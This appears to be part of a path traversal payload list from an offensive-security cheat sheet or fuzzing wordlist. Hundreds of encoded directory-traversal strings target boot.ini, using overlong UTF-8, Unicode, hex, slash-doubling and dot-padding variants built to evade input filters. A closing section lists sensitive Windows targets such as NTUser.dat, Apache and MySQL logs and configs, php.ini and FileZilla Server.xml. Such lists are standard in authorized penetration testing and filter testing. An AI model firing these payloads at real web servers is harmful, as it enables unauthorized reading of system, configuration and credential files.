...\...\...\...\...\...\...\...\boot.ini
..../boot.ini
..../..../boot.ini
..../..../..../boot.ini
..../..../..../..../boot.ini
..../..../..../..../..../boot.ini
..../..../..../..../..../..../boot.ini
..../..../..../..../..../..../..../boot.ini
..../..../..../..../..../..../..../..../boot.ini
....\boot.ini
....\....\boot.ini
....\....\....\boot.ini
....\....\....\....\boot.ini
....\....\....\....\....\boot.ini
....\....\....\....\....\....\boot.ini
....\....\....\....\....\....\....\boot.ini
....\....\....\....\....\....\....\....\boot.ini
........................................................................../boot.ini
........................................................................../../boot.ini
........................................................................../../../boot.ini
........................................................................../../../../boot.ini
........................................................................../../../../../boot.ini
........................................................................../../../../../../boot.ini
........................................................................../../../../../../../boot.ini
........................................................................../../../../../../../../boot.ini
..........................................................................\boot.ini
..........................................................................\..\boot.ini
..........................................................................\..\..\boot.ini
..........................................................................\..\..\..\boot.ini
..........................................................................\..\..\..\..\boot.ini
..........................................................................\..\..\..\..\..\boot.ini
..........................................................................\..\..\..\..\..\..\boot.ini
..........................................................................\..\..\..\..\..\..\..\boot.ini
..%u2215boot.ini
..%u2215..%u2215boot.ini
..%u2215..%u2215..%u2215boot.ini
..%u2215..%u2215..%u2215..%u2215boot.ini
..%u2215..%u2215..%u2215..%u2215..%u2215boot.ini
..%u2215..%u2215..%u2215..%u2215..%u2215..%u2215boot.ini
..%u2215..%u2215..%u2215..%u2215..%u2215..%u2215..%u2215boot.ini
..%u2215..%u2215..%u2215..%u2215..%u2215..%u2215..%u2215..%u2215boot.ini
%uff0e%uff0e/boot.ini
%uff0e%uff0e/%uff0e%uff0e/boot.ini
%uff0e%uff0e/%uff0e%uff0e/%uff0e%uff0e/boot.ini
%uff0e%uff0e/%uff0e%uff0e/%uff0e%uff0e/%uff0e%uff0e/boot.ini
%uff0e%uff0e/%uff0e%uff0e/%uff0e%uff0e/%uff0e%uff0e/%uff0e%uff0e/boot.ini
%uff0e%uff0e/%uff0e%uff0e/%uff0e%uff0e/%uff0e%uff0e/%uff0e%uff0e/%uff0e%uff0e/boot.ini
%uff0e%uff0e/%uff0e%uff0e/%uff0e%uff0e/%uff0e%uff0e/%uff0e%uff0e/%uff0e%uff0e/%uff0e%uff0e/boot.ini
%uff0e%uff0e/%uff0e%uff0e/%uff0e%uff0e/%uff0e%uff0e/%uff0e%uff0e/%uff0e%uff0e/%uff0e%uff0e/%uff0e%uff0e/boot.ini
%uff0e%uff0e%u2215boot.ini
%uff0e%uff0e%u2215%uff0e%uff0e%u2215boot.ini
%uff0e%uff0e%u2215%uff0e%uff0e%u2215%uff0e%uff0e%u2215boot.ini
%uff0e%uff0e%u2215%uff0e%uff0e%u2215%uff0e%uff0e%u2215%uff0e%uff0e%u2215boot.ini
%uff0e%uff0e%u2215%uff0e%uff0e%u2215%uff0e%uff0e%u2215%uff0e%uff0e%u2215%uff0e%uff0e%u2215boot.ini
%uff0e%uff0e%u2215%uff0e%uff0e%u2215%uff0e%uff0e%u2215%uff0e%uff0e%u2215%uff0e%uff0e%u2215%uff0e%uff0e%u2215boot.ini
%uff0e%uff0e%u2215%uff0e%uff0e%u2215%uff0e%uff0e%u2215%uff0e%uff0e%u2215%uff0e%uff0e%u2215%uff0e%uff0e%u2215%uff0e%uff0e%u2215boot.ini
%uff0e%uff0e%u2215%uff0e%uff0e%u2215%uff0e%uff0e%u2215%uff0e%uff0e%u2215%uff0e%uff0e%u2215%uff0e%uff0e%u2215%uff0e%uff0e%u2215%uff0e%uff0e%u2215boot.ini
..%u2216boot.ini
..%u2216..%u2216boot.ini
..%u2216..%u2216..%u2216boot.ini
..%u2216..%u2216..%u2216..%u2216boot.ini
..%u2216..%u2216..%u2216..%u2216..%u2216boot.ini
..%u2216..%u2216..%u2216..%u2216..%u2216..%u2216boot.ini
..%u2216..%u2216..%u2216..%u2216..%u2216..%u2216..%u2216boot.ini
..%u2216..%u2216..%u2216..%u2216..%u2216..%u2216..%u2216..%u2216boot.ini
..%uEFC8boot.ini
..%uEFC8..%uEFC8boot.ini
..%uEFC8..%uEFC8..%uEFC8boot.ini
..%uEFC8..%uEFC8..%uEFC8..%uEFC8boot.ini
..%uEFC8..%uEFC8..%uEFC8..%uEFC8..%uEFC8boot.ini
..%uEFC8..%uEFC8..%uEFC8..%uEFC8..%uEFC8..%uEFC8boot.ini
..%uEFC8..%uEFC8..%uEFC8..%uEFC8..%uEFC8..%uEFC8..%uEFC8boot.ini
..%uEFC8..%uEFC8..%uEFC8..%uEFC8..%uEFC8..%uEFC8..%uEFC8..%uEFC8boot.ini
..%uF025boot.ini
..%uF025..%uF025boot.ini
..%uF025..%uF025..%uF025boot.ini
..%uF025..%uF025..%uF025..%uF025boot.ini
..%uF025..%uF025..%uF025..%uF025..%uF025boot.ini
..%uF025..%uF025..%uF025..%uF025..%uF025..%uF025boot.ini
..%uF025..%uF025..%uF025..%uF025..%uF025..%uF025..%uF025boot.ini
..%uF025..%uF025..%uF025..%uF025..%uF025..%uF025..%uF025..%uF025boot.ini
%uff0e%uff0e\boot.ini
%uff0e%uff0e\%uff0e%uff0e\boot.ini
%uff0e%uff0e\%uff0e%uff0e\%uff0e%uff0e\boot.ini
%uff0e%uff0e\%uff0e%uff0e\%uff0e%uff0e\%uff0e%uff0e\boot.ini
%uff0e%uff0e\%uff0e%uff0e\%uff0e%uff0e\%uff0e%uff0e\%uff0e%uff0e\boot.ini
%uff0e%uff0e\%uff0e%uff0e\%uff0e%uff0e\%uff0e%uff0e\%uff0e%uff0e\%uff0e%uff0e\boot.ini
%uff0e%uff0e\%uff0e%uff0e\%uff0e%uff0e\%uff0e%uff0e\%uff0e%uff0e\%uff0e%uff0e\%uff0e%uff0e\boot.ini
%uff0e%uff0e\%uff0e%uff0e\%uff0e%uff0e\%uff0e%uff0e\%uff0e%uff0e\%uff0e%uff0e\%uff0e%uff0e\%uff0e%uff0e\boot.ini
%uff0e%uff0e%u2216boot.ini
%uff0e%uff0e%u2216%uff0e%uff0e%u2216boot.ini
%uff0e%uff0e%u2216%uff0e%uff0e%u2216%uff0e%uff0e%u2216boot.ini
%uff0e%uff0e%u2216%uff0e%uff0e%u2216%uff0e%uff0e%u2216%uff0e%uff0e%u2216boot.ini
%uff0e%uff0e%u2216%uff0e%uff0e%u2216%uff0e%uff0e%u2216%uff0e%uff0e%u2216%uff0e%uff0e%u2216boot.ini
%uff0e%uff0e%u2216%uff0e%uff0e%u2216%uff0e%uff0e%u2216%uff0e%uff0e%u2216%uff0e%uff0e%u2216%uff0e%uff0e%u2216boot.ini
%uff0e%uff0e%u2216%uff0e%uff0e%u2216%uff0e%uff0e%u2216%uff0e%uff0e%u2216%uff0e%uff0e%u2216%uff0e%uff0e%u2216%uff0e%uff0e%u2216boot.ini
%uff0e%uff0e%u2216%uff0e%uff0e%u2216%uff0e%uff0e%u2216%uff0e%uff0e%u2216%uff0e%uff0e%u2216%uff0e%uff0e%u2216%uff0e%uff0e%u2216%uff0e%uff0e%u2216boot.ini
..0x2fboot.ini
..0x2f..0x2fboot.ini
..0x2f..0x2f..0x2fboot.ini
..0x2f..0x2f..0x2f..0x2fboot.ini
..0x2f..0x2f..0x2f..0x2f..0x2fboot.ini
..0x2f..0x2f..0x2f..0x2f..0x2f..0x2fboot.ini
..0x2f..0x2f..0x2f..0x2f..0x2f..0x2f..0x2fboot.ini
..0x2f..0x2f..0x2f..0x2f..0x2f..0x2f..0x2f..0x2fboot.ini
0x2e0x2e/boot.ini
0x2e0x2e/0x2e0x2e/boot.ini
0x2e0x2e/0x2e0x2e/0x2e0x2e/boot.ini
0x2e0x2e/0x2e0x2e/0x2e0x2e/0x2e0x2e/boot.ini
0x2e0x2e/0x2e0x2e/0x2e0x2e/0x2e0x2e/0x2e0x2e/boot.ini
0x2e0x2e/0x2e0x2e/0x2e0x2e/0x2e0x2e/0x2e0x2e/0x2e0x2e/boot.ini
0x2e0x2e/0x2e0x2e/0x2e0x2e/0x2e0x2e/0x2e0x2e/0x2e0x2e/0x2e0x2e/boot.ini
0x2e0x2e/0x2e0x2e/0x2e0x2e/0x2e0x2e/0x2e0x2e/0x2e0x2e/0x2e0x2e/0x2e0x2e/boot.ini
0x2e0x2e0x2fboot.ini
0x2e0x2e0x2f0x2e0x2e0x2fboot.ini
0x2e0x2e0x2f0x2e0x2e0x2f0x2e0x2e0x2fboot.ini
0x2e0x2e0x2f0x2e0x2e0x2f0x2e0x2e0x2f0x2e0x2e0x2fboot.ini
0x2e0x2e0x2f0x2e0x2e0x2f0x2e0x2e0x2f0x2e0x2e0x2f0x2e0x2e0x2fboot.ini
0x2e0x2e0x2f0x2e0x2e0x2f0x2e0x2e0x2f0x2e0x2e0x2f0x2e0x2e0x2f0x2e0x2e0x2fboot.ini
0x2e0x2e0x2f0x2e0x2e0x2f0x2e0x2e0x2f0x2e0x2e0x2f0x2e0x2e0x2f0x2e0x2e0x2f0x2e0x2e0x2fboot.ini
0x2e0x2e0x2f0x2e0x2e0x2f0x2e0x2e0x2f0x2e0x2e0x2f0x2e0x2e0x2f0x2e0x2e0x2f0x2e0x2e0x2f0x2e0x2e0x2fboot.ini
..0x5cboot.ini
..0x5c..0x5cboot.ini
..0x5c..0x5c..0x5cboot.ini
..0x5c..0x5c..0x5c..0x5cboot.ini
..0x5c..0x5c..0x5c..0x5c..0x5cboot.ini
..0x5c..0x5c..0x5c..0x5c..0x5c..0x5cboot.ini
..0x5c..0x5c..0x5c..0x5c..0x5c..0x5c..0x5cboot.ini
..0x5c..0x5c..0x5c..0x5c..0x5c..0x5c..0x5c..0x5cboot.ini
0x2e0x2e\boot.ini
0x2e0x2e\0x2e0x2e\boot.ini
0x2e0x2e\0x2e0x2e\0x2e0x2e\boot.ini
0x2e0x2e\0x2e0x2e\0x2e0x2e\0x2e0x2e\boot.ini
0x2e0x2e\0x2e0x2e\0x2e0x2e\0x2e0x2e\0x2e0x2e\boot.ini
0x2e0x2e\0x2e0x2e\0x2e0x2e\0x2e0x2e\0x2e0x2e\0x2e0x2e\boot.ini
0x2e0x2e\0x2e0x2e\0x2e0x2e\0x2e0x2e\0x2e0x2e\0x2e0x2e\0x2e0x2e\boot.ini
0x2e0x2e\0x2e0x2e\0x2e0x2e\0x2e0x2e\0x2e0x2e\0x2e0x2e\0x2e0x2e\0x2e0x2e\boot.ini
0x2e0x2e0x5cboot.ini
0x2e0x2e0x5c0x2e0x2e0x5cboot.ini
0x2e0x2e0x5c0x2e0x2e0x5c0x2e0x2e0x5cboot.ini
0x2e0x2e0x5c0x2e0x2e0x5c0x2e0x2e0x5c0x2e0x2e0x5cboot.ini
0x2e0x2e0x5c0x2e0x2e0x5c0x2e0x2e0x5c0x2e0x2e0x5c0x2e0x2e0x5cboot.ini
0x2e0x2e0x5c0x2e0x2e0x5c0x2e0x2e0x5c0x2e0x2e0x5c0x2e0x2e0x5c0x2e0x2e0x5cboot.ini
0x2e0x2e0x5c0x2e0x2e0x5c0x2e0x2e0x5c0x2e0x2e0x5c0x2e0x2e0x5c0x2e0x2e0x5c0x2e0x2e0x5cboot.ini
0x2e0x2e0x5c0x2e0x2e0x5c0x2e0x2e0x5c0x2e0x2e0x5c0x2e0x2e0x5c0x2e0x2e0x5c0x2e0x2e0x5c0x2e0x2e0x5cboot.ini
..%c0%2fboot.ini
..%c0%2f..%c0%2fboot.ini
..%c0%2f..%c0%2f..%c0%2fboot.ini
..%c0%2f..%c0%2f..%c0%2f..%c0%2fboot.ini
..%c0%2f..%c0%2f..%c0%2f..%c0%2f..%c0%2fboot.ini
..%c0%2f..%c0%2f..%c0%2f..%c0%2f..%c0%2f..%c0%2fboot.ini
..%c0%2f..%c0%2f..%c0%2f..%c0%2f..%c0%2f..%c0%2f..%c0%2fboot.ini
..%c0%2f..%c0%2f..%c0%2f..%c0%2f..%c0%2f..%c0%2f..%c0%2f..%c0%2fboot.ini
%c0%2e%c0%2e/boot.ini
%c0%2e%c0%2e/%c0%2e%c0%2e/boot.ini
%c0%2e%c0%2e/%c0%2e%c0%2e/%c0%2e%c0%2e/boot.ini
%c0%2e%c0%2e/%c0%2e%c0%2e/%c0%2e%c0%2e/%c0%2e%c0%2e/boot.ini
%c0%2e%c0%2e/%c0%2e%c0%2e/%c0%2e%c0%2e/%c0%2e%c0%2e/%c0%2e%c0%2e/boot.ini
%c0%2e%c0%2e/%c0%2e%c0%2e/%c0%2e%c0%2e/%c0%2e%c0%2e/%c0%2e%c0%2e/%c0%2e%c0%2e/boot.ini
%c0%2e%c0%2e/%c0%2e%c0%2e/%c0%2e%c0%2e/%c0%2e%c0%2e/%c0%2e%c0%2e/%c0%2e%c0%2e/%c0%2e%c0%2e/boot.ini
%c0%2e%c0%2e/%c0%2e%c0%2e/%c0%2e%c0%2e/%c0%2e%c0%2e/%c0%2e%c0%2e/%c0%2e%c0%2e/%c0%2e%c0%2e/%c0%2e%c0%2e/boot.ini
%c0%2e%c0%2e%c0%2fboot.ini
%c0%2e%c0%2e%c0%2f%c0%2e%c0%2e%c0%2fboot.ini
%c0%2e%c0%2e%c0%2f%c0%2e%c0%2e%c0%2f%c0%2e%c0%2e%c0%2fboot.ini
%c0%2e%c0%2e%c0%2f%c0%2e%c0%2e%c0%2f%c0%2e%c0%2e%c0%2f%c0%2e%c0%2e%c0%2fboot.ini
%c0%2e%c0%2e%c0%2f%c0%2e%c0%2e%c0%2f%c0%2e%c0%2e%c0%2f%c0%2e%c0%2e%c0%2f%c0%2e%c0%2e%c0%2fboot.ini
%c0%2e%c0%2e%c0%2f%c0%2e%c0%2e%c0%2f%c0%2e%c0%2e%c0%2f%c0%2e%c0%2e%c0%2f%c0%2e%c0%2e%c0%2f%c0%2e%c0%2e%c0%2fboot.ini
%c0%2e%c0%2e%c0%2f%c0%2e%c0%2e%c0%2f%c0%2e%c0%2e%c0%2f%c0%2e%c0%2e%c0%2f%c0%2e%c0%2e%c0%2f%c0%2e%c0%2e%c0%2f%c0%2e%c0%2e%c0%2fboot.ini
%c0%2e%c0%2e%c0%2f%c0%2e%c0%2e%c0%2f%c0%2e%c0%2e%c0%2f%c0%2e%c0%2e%c0%2f%c0%2e%c0%2e%c0%2f%c0%2e%c0%2e%c0%2f%c0%2e%c0%2e%c0%2f%c0%2e%c0%2e%c0%2fboot.ini
..%c0%5cboot.ini
..%c0%5c..%c0%5cboot.ini
..%c0%5c..%c0%5c..%c0%5cboot.ini
..%c0%5c..%c0%5c..%c0%5c..%c0%5cboot.ini
..%c0%5c..%c0%5c..%c0%5c..%c0%5c..%c0%5cboot.ini
..%c0%5c..%c0%5c..%c0%5c..%c0%5c..%c0%5c..%c0%5cboot.ini
..%c0%5c..%c0%5c..%c0%5c..%c0%5c..%c0%5c..%c0%5c..%c0%5cboot.ini
..%c0%5c..%c0%5c..%c0%5c..%c0%5c..%c0%5c..%c0%5c..%c0%5c..%c0%5cboot.ini
%c0%2e%c0%2e\boot.ini
%c0%2e%c0%2e\%c0%2e%c0%2e\boot.ini
%c0%2e%c0%2e\%c0%2e%c0%2e\%c0%2e%c0%2e\boot.ini
%c0%2e%c0%2e\%c0%2e%c0%2e\%c0%2e%c0%2e\%c0%2e%c0%2e\boot.ini
%c0%2e%c0%2e\%c0%2e%c0%2e\%c0%2e%c0%2e\%c0%2e%c0%2e\%c0%2e%c0%2e\boot.ini
%c0%2e%c0%2e\%c0%2e%c0%2e\%c0%2e%c0%2e\%c0%2e%c0%2e\%c0%2e%c0%2e\%c0%2e%c0%2e\boot.ini
%c0%2e%c0%2e\%c0%2e%c0%2e\%c0%2e%c0%2e\%c0%2e%c0%2e\%c0%2e%c0%2e\%c0%2e%c0%2e\%c0%2e%c0%2e\boot.ini
%c0%2e%c0%2e\%c0%2e%c0%2e\%c0%2e%c0%2e\%c0%2e%c0%2e\%c0%2e%c0%2e\%c0%2e%c0%2e\%c0%2e%c0%2e\%c0%2e%c0%2e\boot.ini
%c0%2e%c0%2e%c0%5cboot.ini
%c0%2e%c0%2e%c0%5c%c0%2e%c0%2e%c0%5cboot.ini
%c0%2e%c0%2e%c0%5c%c0%2e%c0%2e%c0%5c%c0%2e%c0%2e%c0%5cboot.ini
%c0%2e%c0%2e%c0%5c%c0%2e%c0%2e%c0%5c%c0%2e%c0%2e%c0%5c%c0%2e%c0%2e%c0%5cboot.ini
%c0%2e%c0%2e%c0%5c%c0%2e%c0%2e%c0%5c%c0%2e%c0%2e%c0%5c%c0%2e%c0%2e%c0%5c%c0%2e%c0%2e%c0%5cboot.ini
%c0%2e%c0%2e%c0%5c%c0%2e%c0%2e%c0%5c%c0%2e%c0%2e%c0%5c%c0%2e%c0%2e%c0%5c%c0%2e%c0%2e%c0%5c%c0%2e%c0%2e%c0%5cboot.ini
%c0%2e%c0%2e%c0%5c%c0%2e%c0%2e%c0%5c%c0%2e%c0%2e%c0%5c%c0%2e%c0%2e%c0%5c%c0%2e%c0%2e%c0%5c%c0%2e%c0%2e%c0%5c%c0%2e%c0%2e%c0%5cboot.ini
%c0%2e%c0%2e%c0%5c%c0%2e%c0%2e%c0%5c%c0%2e%c0%2e%c0%5c%c0%2e%c0%2e%c0%5c%c0%2e%c0%2e%c0%5c%c0%2e%c0%2e%c0%5c%c0%2e%c0%2e%c0%5c%c0%2e%c0%2e%c0%5cboot.ini
///%2e%2e%2fboot.ini
///%2e%2e%2f%2e%2e%2fboot.ini
///%2e%2e%2f%2e%2e%2f%2e%2e%2fboot.ini
///%2e%2e%2f%2e%2e%2f%2e%2e%2f%2e%2e%2fboot.ini
///%2e%2e%2f%2e%2e%2f%2e%2e%2f%2e%2e%2f%2e%2e%2fboot.ini
///%2e%2e%2f%2e%2e%2f%2e%2e%2f%2e%2e%2f%2e%2e%2f%2e%2e%2fboot.ini
///%2e%2e%2f%2e%2e%2f%2e%2e%2f%2e%2e%2f%2e%2e%2f%2e%2e%2f%2e%2e%2fboot.ini
///%2e%2e%2f%2e%2e%2f%2e%2e%2f%2e%2e%2f%2e%2e%2f%2e%2e%2f%2e%2e%2f%2e%2e%2fboot.ini
\\\%2e%2e%5cboot.ini
\\\%2e%2e%5c%2e%2e%5cboot.ini
\\\%2e%2e%5c%2e%2e%5c%2e%2e%5cboot.ini
\\\%2e%2e%5c%2e%2e%5c%2e%2e%5c%2e%2e%5cboot.ini
\\\%2e%2e%5c%2e%2e%5c%2e%2e%5c%2e%2e%5c%2e%2e%5cboot.ini
\\\%2e%2e%5c%2e%2e%5c%2e%2e%5c%2e%2e%5c%2e%2e%5c%2e%2e%5cboot.ini
\\\%2e%2e%5c%2e%2e%5c%2e%2e%5c%2e%2e%5c%2e%2e%5c%2e%2e%5c%2e%2e%5cboot.ini
\\\%2e%2e%5c%2e%2e%5c%2e%2e%5c%2e%2e%5c%2e%2e%5c%2e%2e%5c%2e%2e%5c%2e%2e%5cboot.ini
..//boot.ini
..//..//boot.ini
..//..//..//boot.ini
..//..//..//..//boot.ini
..//..//..//..//..//boot.ini
..//..//..//..//..//..//boot.ini
..//..//..//..//..//..//..//boot.ini
..//..//..//..//..//..//..//..//boot.ini
..///boot.ini
..///..///boot.ini
..///..///..///boot.ini
..///..///..///..///boot.ini
..///..///..///..///..///boot.ini
..///..///..///..///..///..///boot.ini
..///..///..///..///..///..///..///boot.ini
..///..///..///..///..///..///..///..///boot.ini
..\\boot.ini
..\\..\\boot.ini
..\\..\\..\\boot.ini
..\\..\\..\\..\\boot.ini
..\\..\\..\\..\\..\\boot.ini
..\\..\\..\\..\\..\\..\\boot.ini
..\\..\\..\\..\\..\\..\\..\\boot.ini
..\\..\\..\\..\\..\\..\\..\\..\\boot.ini
..\\\boot.ini
..\\\..\\\boot.ini
..\\\..\\\..\\\boot.ini
..\\\..\\\..\\\..\\\boot.ini
..\\\..\\\..\\\..\\\..\\\boot.ini
..\\\..\\\..\\\..\\\..\\\..\\\boot.ini
..\\\..\\\..\\\..\\\..\\\..\\\..\\\boot.ini
..\\\..\\\..\\\..\\\..\\\..\\\..\\\..\\\boot.ini
./\/./boot.ini
./\/././\/./boot.ini
./\/././\/././\/./boot.ini
./\/././\/././\/././\/./boot.ini
./\/././\/././\/././\/././\/./boot.ini
./\/././\/././\/././\/././\/././\/./boot.ini
./\/././\/././\/././\/././\/././\/././\/./boot.ini
./\/././\/././\/././\/././\/././\/././\/././\/./boot.ini
.\/\.\boot.ini
.\/\.\.\/\.\boot.ini
.\/\.\.\/\.\.\/\.\boot.ini
.\/\.\.\/\.\.\/\.\.\/\.\boot.ini
.\/\.\.\/\.\.\/\.\.\/\.\.\/\.\boot.ini
.\/\.\.\/\.\.\/\.\.\/\.\.\/\.\.\/\.\boot.ini
.\/\.\.\/\.\.\/\.\.\/\.\.\/\.\.\/\.\.\/\.\boot.ini
.\/\.\.\/\.\.\/\.\.\/\.\.\/\.\.\/\.\.\/\.\.\/\.\boot.ini
././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././../boot.ini
././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././../../boot.ini
././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././../../../boot.ini
././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././../../../../boot.ini
././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././../../../../../boot.ini
././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././../../../../../../boot.ini
././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././../../../../../../../boot.ini
././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././../../../../../../../../boot.ini
.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\..\boot.ini
.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\..\..\boot.ini
.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\..\..\..\boot.ini
.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\..\..\..\..\boot.ini
.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\..\..\..\..\..\boot.ini
.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\..\..\..\..\..\..\boot.ini
.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\..\..\..\..\..\..\..\boot.ini
.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\..\..\..\..\..\..\..\..\boot.ini
./../boot.ini
./.././../boot.ini
./.././.././../boot.ini
./.././.././.././../boot.ini
./.././.././.././.././../boot.ini
./.././.././.././.././.././../boot.ini
./.././.././.././.././.././.././../boot.ini
./.././.././.././.././.././.././.././../boot.ini
.\..\boot.ini
.\..\.\..\boot.ini
.\..\.\..\.\..\boot.ini
.\..\.\..\.\..\.\..\boot.ini
.\..\.\..\.\..\.\..\.\..\boot.ini
.\..\.\..\.\..\.\..\.\..\.\..\boot.ini
.\..\.\..\.\..\.\..\.\..\.\..\.\..\boot.ini
.\..\.\..\.\..\.\..\.\..\.\..\.\..\.\..\boot.ini
.//..//boot.ini
.//..//.//..//boot.ini
.//..//.//..//.//..//boot.ini
.//..//.//..//.//..//.//..//boot.ini
.//..//.//..//.//..//.//..//.//..//boot.ini
.//..//.//..//.//..//.//..//.//..//.//..//boot.ini
.//..//.//..//.//..//.//..//.//..//.//..//.//..//boot.ini
.//..//.//..//.//..//.//..//.//..//.//..//.//..//.//..//boot.ini
.\\..\\boot.ini
.\\..\\.\\..\\boot.ini
.\\..\\.\\..\\.\\..\\boot.ini
.\\..\\.\\..\\.\\..\\.\\..\\boot.ini
.\\..\\.\\..\\.\\..\\.\\..\\.\\..\\boot.ini
.\\..\\.\\..\\.\\..\\.\\..\\.\\..\\.\\..\\boot.ini
.\\..\\.\\..\\.\\..\\.\\..\\.\\..\\.\\..\\.\\..\\boot.ini
.\\..\\.\\..\\.\\..\\.\\..\\.\\..\\.\\..\\.\\..\\.\\..\\boot.ini
```

### Windows Paths

```
C:/Users/Administrator/NTUser.dat
C:/Documents and Settings/Administrator/NTUser.dat
C:/apache/logs/access.log 
C:/apache/logs/error.log 
C:/apache/php/php.ini 
C:/boot.ini 
C:/inetpub/wwwroot/global.asa 
C:/MySQL/data/hostname.err 
C:/MySQL/data/mysql.err 
C:/MySQL/data/mysql.log 
C:/MySQL/my.cnf 
C:/MySQL/my.ini 
C:/php4/php.ini 
C:/php5/php.ini 
C:/php/php.ini 
C:/Program Files/Apache Group/Apache2/conf/httpd.conf 
C:/Program Files/Apache Group/Apache/conf/httpd.conf 
C:/Program Files/Apache Group/Apache/logs/access.log 
C:/Program Files/Apache Group/Apache/logs/error.log 
C:/Program Files/FileZilla Server/FileZilla Server.xml 
C:/Program Files/MySQL/data/hostname.err 
C:/Program Files/MySQL/data/mysql-bin.log 
C:/Program Files/MySQL/data/mysql.err 
C:/Program Files/MySQL/data/mysql.log 
C:/Program Files/MySQL/my.ini 
C:/Program Files/MySQL/my.cnf 
